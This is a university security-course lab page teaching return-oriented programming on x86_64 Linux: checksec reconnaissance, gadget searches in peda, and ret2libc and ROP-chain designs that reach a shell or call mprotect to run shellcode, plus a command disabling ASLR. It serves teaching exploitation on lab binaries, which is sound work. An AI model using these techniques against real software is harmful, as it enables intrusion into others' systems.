Lab 08 - Return-Oriented Programming

Introduction

As we've seen in the previous labs, due to the code integrity protection mechanisms, we cannot store our exploit code in areas marked as non-executable (e.g. data segment or stack). In this case, we need more advanced attacks like reusing parts of the already executable code in order to bypass the integrity restrictions. For instance, if we want to obtain a shell, we can replace the return address (divert control to) with the address of the system function from libc using the "/bin/sh" string as a parameter. This type of attack is called return-to-libc. In general we can reuse existing code in the program to do what is known as Return-Oriented Programming (ROP). ROP is a very powerful technique: it was shown that the attacker may reuse small pieces of program code called gadgets to execute arbitrary (Turing-complete) operations.

Recap: Protection Mechanisms Overview

Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.

To apply reconnaisance on a given binary it is best to use the checksec command that is part of pwntools.1)

Let's apply it on a random binary:

# checksec --file ./test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./a
  • NX, as we have seen, typically applies to the stack: whether or not we can place shellcode on the stack and return to it.
  • Stack Canary refers to the guard value placed right before the return address that is tested in the sanity check at the epilogue of a function against stack smashing.
  • PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000).
  • RELRO refers to the writability of the GOT section. More details here

Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.

# checksec --proc-all | head
* System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)
 
  Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
  This, among other things, implies that shared libraries will be loaded to random 
  addresses. Also for PIE-linked binaries, the location of code start is randomized.
 
  See the kernel file 'Documentation/sysctl/kernel.txt' for more details.
 
* Does the CPU support NX: Yes

In exploitation it is important to gauge your efforts:

  • if every protection mechanism is disabled you shouldn't try advanced exploit methods: stick to shellcode-on-stack methods.
  • if you see Canary values check all the leaf functions to see if the compiler missed anything. If not, then check for an information leak (to read its value) or an arbitrary write (to overwrite the original one in the TLS at gs:0x14). Otherwise, see if you can overwrite anything useful before the guard value (variables that affect code flow such as function pointers)
  • when encountering ASLR remember that on 32 bits it's pretty easy to bypass using bruteforce methods. Also remember that the executable image is fixed (if PIE is not enabled) so you might be able to reuse parts of it

Return Oriented Programming

ROP Chains and Gadgets

The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction. Here are some example gadgets:

0x00000000004011df: pop rbp; pop r14; pop r15; ret;
0x000000000040111d: pop rbp; ret;
0x00000000004011e3: pop rdi; ret;
0x00000000004011e1: pop rsi; pop r15; ret;

By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. As an example let's say we would like to load 0xdeadbeef into rdi and 0xcafebabe into rsi. The payload should look like:

RET + 0x00: 0x00000000004011e3   (pop rdi; ret)
RET + 0x08: 0x00000000deadbeef
RET + 0x10: 0x00000000004011e1   (pop rsi; pop r15; ret)
RET + 0x18: 0x00000000cafebabe
RET + 0x20: 0x00000000cafebabe   (junk for r15, could be anything)
RET + 0x28: <address of next instruction to execute (gadget/function call)>
  • First the ret addr is popped from the stack and execution goes there.
  • At pop rdi, 0xdeadbeef is loaded into rdi and the stack is increased.
  • At ret, code flow will go to the instruction at the top of the stack, which is now RET + 0x10 (because of the previous pop)
  • At pop rsi, 0xcafebabe is loaded into rsi and the stack is increased.
  • At pop r15, 0xcafebabe is loaded into r15 and the stack is increased.
  • At ret, code flow will go to the instruction at the top of the stack, which is now RET + 0x28 (because of the previous two pops)
  • Here we could place a function address to jump to, or maybe the address of another gadget.

We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.

On x86_64 the function arguments are set in registers so we need to set the arguments using appropriate ROP gadgets:

Example:

  • address of pop rdi; ret followed by a value on stack (first arg)
  • address of pop, rsi; ret followed by a value on stack (second arg)
  • address of function with 2 arguments

Step by step stack changes

Click to display ⇲

Click to hide ⇱

Debugging and Tools

Checksec in peda

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Gadget finding in peda

Apart from objdump which only finds aligned instructions, you can also use dumprop in peda to find all gadgets in a memory region or mapping:

gdb-peda$ start
....
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: ret2libc-rop.txt ...
0x40111e: ret
0x401083: cli; ret
0x40111f: nop; ret
0x401155: leave; ret
0x401081: nop edx; ret
0x401080: endbr64; ret
0x4010ae: jmp rax; ret
0x40111d: pop rbp; ret
0x4011e3: pop rdi; ret
0x4011e2: pop r15; ret
0x401154: nop; leave; ret
0x401017: add esp,0x8; ret
0x401016: add rsp,0x8; ret
0x40107f: nop; endbr64; ret
0x4010f6: add [rax],al; ret
0x4010f5: add [rax],r8b; ret
0x4011e1: pop rsi; pop r15; ret
0x4011e0: pop r14; pop r15; ret
0x40107e: hlt; nop; endbr64; ret
0x4011cc: fisttp [rax-0x7d]; ret
0x4011ef: add bl,dh; nop edx; ret
0x4010f3: nop [rax+rax*1+0x0]; ret
0x401179: mov eax,0x0; pop rbp; ret
0x401014: call rax; add rsp,0x8; ret
0x40111b: add [rcx],al; pop rbp; ret
--More--(25/115)

The simplest way to dump basic ROP gadget is using the ropgadget command such as below:

gdb-peda$ ropgadget
ret = 0x40101a
popret = 0x40111d
addesp_8 = 0x401017

Something finer is using asmsearch or ropsearch:

gdb-peda$ asmsearch "pop ? ; ret"
Searching for ASM code: 'pop ? ; ret' in: binary ranges
0x0040111d : (5dc3)     pop    rbp;     ret
0x0040117e : (5dc3)     pop    rbp;     ret
0x004011e2 : (415fc3)   pop    r15;     ret
0x004011e3 : (5fc3)     pop    rdi;     ret
 
 
gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
Searching for ASM code: 'pop ? ; pop ? ; ret' in: binary ranges
0x004011e0 : (415e415fc3)       pop    r14;     pop    r15;     ret
0x004011e1 : (5e415fc3) pop    rsi;     pop    r15;     ret
 
gdb-peda$ asmsearch "call ?"
Searching for ASM code: 'call ?' in: binary ranges
0x00401014 : (ffd0)     call   rax
0x0040104b : (e9d0)     jmp    0x401020
0x00401057 : (89d1)     mov    ecx,edx
0x004010da : (48d1)     sar    rsi,1
0x00401160 : (e8d1)     call   0x401136 <vuln>
0x00401190 : (89d6)     mov    esi,edx
 
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x004011e3 : (b'5fc3')  pop rdi; ret
 
# search the requested gadget in libc area
gdb-peda$ ropsearch "xchg eax, esp;" libc

Tasks

All content necessary for the CNS laboratory tasks can be found in the CNS public repository.

For tasks in this lab, you'll need to disable ASLR by issuing the following command:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Note that this has a system-wide effect. To launch a single executable with ASLR disabled, use:

setarch $(uname -m) -R <executable>

(You can pass a shell as the executable and all processes launched by that shell will also have ASLR disabled.)

1. ROP Gadgets (tutorial)

Run any program (for instance, ret2libc) and find some specific ROP gadgets:

  • two pops in any registers followed by ret in the binary memory range.
  • call rdi; ret in libc memory range.
gdb ./ret2libc
gdb-peda$ start  # must start for libc to be mapped
...
gdb-peda$ ropsearch "pop ?; pop ?; ret"
Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges
0x004011e1 : (b'5e415fc3')      pop rsi; pop r15; ret
0x004011e0 : (b'415e415fc3')    pop r14; pop r15; ret
gdb-peda$ ropsearch "call rdi; ret" 0x00007ffff7dc6000 0x00007ffff7f8b000
Searching for ROP gadget: 'call rdi; ret' in range: 0x7ffff7dc6000 - 0x7ffff7f8b000
0x00007ffff7f4fe87 : (b'ffd7c3')        call rdi; ret

2. Return-to-libc - bypass NX/DEP (tutorial)

Analyze the 00-tutorial-2-ret2libc/rlibc.c source code. As we can see, there is a buffer overflow vulnerability. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call system("/bin/sh"). This exercise assumes that the libc address of system remains constant, so don't forget to disable ASLR.

Our exploit payload will look something like:

[overflow] [<pop rdi gagdget> address] ["/bin/sh" address] [system address]

  • First, we need to identify the libc address of system() and set it as a return address in our payload.
root@kali:~/lab-08# gdb rlibc 
gdb-peda$ b main
Breakpoint 2 at 0x401157: file ret2libc.c, line 10.
gdb-peda$ r
Starting program: /root/lab-08/rlibc 
Breakpoint 1, main () at rlibc.c:12
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7e10830 <system>
  • We also need to find a "/bin/sh" string in order to send it as an argument to system(). We can check if we already have this string somewhere in libc.
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f53e78 --> 0x68732f6e69622f ('/bin/sh')
  • As usual, we have to identify the overflowed buffer offset where the return address starts. We can do this using the peda pattc and patto commands as in the previous labs.
  • The complete exploit can be found in 00-tutorial-2-ret2libc/solution.py

3. ROP: Find the buffer

Analyze the content of 01-ropbuf/ropbuf.c. There is a buffer overflow, but in order to exploit it we have to know the buffer's address on the stack. We had a similar situation in lab7 where we built a 2-stages exploit and managed to leak the buffer's address. But this is not always so easy to guess/leak.

ROP Gadget to return to the buffer

If you look at the assembly code for the vulnerable function you can see where the buffer is located at return.

gdb-peda$ pdis vuln
Dump of assembler code for function vuln:
   0x0000000000401136 <+0>:     push   rbp
   0x0000000000401137 <+1>:     mov    rbp,rsp
   0x000000000040113a <+4>:     sub    rsp,0x90
   0x0000000000401141 <+11>:    mov    QWORD PTR [rbp-0x88],rdi
   0x0000000000401148 <+18>:    mov    rdx,QWORD PTR [rbp-0x88]
   0x000000000040114f <+25>:    lea    rax,[rbp-0x80]
   0x0000000000401153 <+29>:    mov    rsi,rdx
   0x0000000000401156 <+32>:    mov    rdi,rax
   0x0000000000401159 <+35>:    call   0x401030 <strcpy@plt>
   0x000000000040115e <+40>:    nop
   0x000000000040115f <+41>:    leave
   0x0000000000401160 <+42>:    ret
End of assembler dump.

The buffer address is stored in a register when ret is executed.

There is no need for a memory disclosure / information leak of the buffer address. You can find a gadget that jumps / calls that register.

Use ropsearch ... libc. Instead of ... place the instructions you search.

Using this information, find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Replace the return address with the address of the ROP gadget. You can start from the skeleton in 01-ropbuf/exploit.py. This exercise also needs ASLR disabled, since it assumes that the ROP gadget's address remains constant between consecutive runs.

In order to start a program with an argument using pwntools in Python use

    io = process(["./ropbuf", payload])  # Run ./ropbuf using payload as command line argument.

You can't send NUL-bytes as part of command line arguments. When constructing the payload, use pack(...).strip(b\"x00").

ROP Debugging

Try using the same exploit on ropbuf_dbg binary. You'll see that it doesn't work.

You can use the recommended ROP debugging method described above to find out why the same exploit doesn't work.

You can use checksec to discover information about the ropbuf and ropbuf_dbg executables.

4. ROP: Functions chain

As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.

Take a look at 02-ropchain/ropchain.c and make it call call_1() followed by call_2() and call_exit(). You can start from the skeleton in 02-ropchain/exploit.py. When calling call_1() and call_2(), make them print the messages in the if block by passing the proper parameters.

5. Bonus ROP: Libc Functions chain

Now let's move to a more practical example by chaining useful libc functions. Take a look at 03-roplibc/roplibc.c. We can see that we have a buffer overflow on buf and a global, unused gbuf.

  • The stack is not executable so, at the first sight, we cannot put our shellcode neither in buf, nor in gbuf. But what if we manage to call (jump to) mprotect over the memory area where we store the shellcode, and make it executable?
  • Furthermore, given the fact that gbuf is larger than buf, we might want to put our shellcode there. But how do we do this when the only read call is on buf? In this case, we will also want to call (jump to) read in our exploit payload.
  • A possible ROP chain (that will start from the overwritten return address from buf) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.

[pop rdi;ret][fd=0][pop rsi;ret][gbuf][pop rdx;ret][shellcode_len][read_addr]

[pop rdi;ret][page][pop rsi;ret][page_size] [pop rdx;ret][mp3][mprotect_addr]

[gbuf_addr]

  • First we need to call read in order to read the shellcode in gbuf. The pop ?;ret ROP gadgets will pop the values from the stack into the proper registers for the read function. Then it calls another pop ?;ret ROP gadgets to pop values from stack in registers, as parameters(mp1,mp2,mp3) for mprotect function, in order to make the gbuf/shellcode area executable. And finally, it returns/jumps to gbuf where the shellcode is stored.
  • Build the exploit starting from the skeleton in roplibc.py. You can find the gbuf addr using nm.
nm roplibc | grep gbuf

In order to find the addresses of functions in the standard C library, use GDB and the the print (or p) command, similar to the run below:

$ gdb -q ./roplibc
Reading symbols from ./roplibc...done.
gdb-peda$ start
[...]
gdb-peda$ p read
$3 = {ssize_t (int, void *, size_t)} 0x7ffff7af4070 <__GI___libc_read>
gdb-peda$ p mprotect
$4 = {<text variable, no debug info>} 0x7ffff7affae0 <mprotect>

The first argument to mprotect() is the address of the page you want to change the mapping for. It must be a page address, i.e. the last three hex digits (nibbles) have to be 0, that is the 12 bits that corresponding to the page offset.

After you create the exploit, you can check in gdb with vmmap command if mprotect call is executing properly and if the section containing gbuf is now executable.

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00401000         0x00402000         r-xp	/home/student/lab-08/5-roplibc/roplibc
0x00402000         0x00403000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00403000         0x00404000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00404000         0x00405000         rw-p	/home/student/lab-08/5-roplibc/roplibc

After mprotect call:

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00401000         0x00402000         r-xp	/home/student/lab-08/5-roplibc/roplibc
0x00402000         0x00403000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00403000         0x00404000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00404000         0x00405000         rwxp	/home/student/lab-08/5-roplibc/roplibc

Resources

1) If the checksec command is not available you can download and use the checksec.sh helper script.
cns/labs/lab-08.txt · Last modified: 2021/12/14 13:28 by razvan.deaconescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0